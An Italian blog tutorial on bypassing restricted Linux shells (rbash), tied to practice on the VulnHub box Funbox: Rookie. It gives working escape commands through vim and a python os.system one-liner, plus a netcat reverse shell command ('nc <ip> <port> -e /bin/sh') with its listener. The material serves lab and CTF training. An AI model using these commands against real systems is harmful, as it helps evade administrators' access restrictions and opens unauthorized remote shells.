Restricted Shell, rbash
, rksh
o rsh
, è un tipo di shell che blocca molti comandi essenziali dell’ecosistema linux (come cd o echo) o variabili d’ambiente (come $SHELL). A volte una shell restricted blocca i comandi con all’interno /
e gli output di re-indirizzamento come >
e >>
.
Spostiamoci sull’utente che abbiamo appena creato con su carlino
e notiamo subito che nella nostra nuova shell alcuni comandi è impossibile eseguirli (output restricted
).
Molte strade ci portano a bypassare questo tipo di shell, dal meno classico ED-EDITORS
ai più conosciuti VI
o VIM
. Da comandi come less
, more
, man
, expect
ad addirittura awk
. Inoltre possiamo sfruttare linguaggi di programmazione presenti nel sistema come python
e perl
. Infine anche l’uso di reverse-shell
e da connessioni ssh
possiamoi bypassare la shell.
Analizziamo dunque alcuni metodi, che ci aiuteranno a non rimanere bloccati quando l’utente con cui siamo loggati presenta delle restrizioni.
Con VIM
infatti abbiamo la possibilità di aprire /bin/sh
, evitando così tutte le restrizioni di rbash
.
vim
ESC
:set shell=/bin/sh
ENTER
ESC
:shell
Possiamo eseguire il seguente comando python
per importare la libreria os
che ci permetterà di far apparire una nuova shell che non sia restricted.
python3 -c 'import os; os.system("/bin/sh")'
Anche una reverse shell ci può aiutare a bypassare una shell limitata!
nc <ip> <port> -e /bin/sh
nc -lnvp <port>
Vuoi testare quello che hai imparato? Allenati con questa macchina:
Funbox: Rookie ~ VulnHub
Strumenti necessari:
– Conoscenza base di networking
– Cracking .zip con zip2jhon -> jhon
oppure con fcrackzip
– Bypass rbash
.
– Manual enumeration
directories and files.
FunBox: Rookie è una box Linux di livello EASY.
Se l’articolo vi è piaciuto, potete continuare a seguirci, oltre che su questo blog, anche sugli altri canali attivi e ricchi di contenuti: Twitch e YouTube.
Non esitate a lasciarci feedback, domande o precisazioni nei commenti o sui nostri canali social di Telegram e Discord!
Entra a far parte della nostra community!
Registrati subito per commentare video e articoli.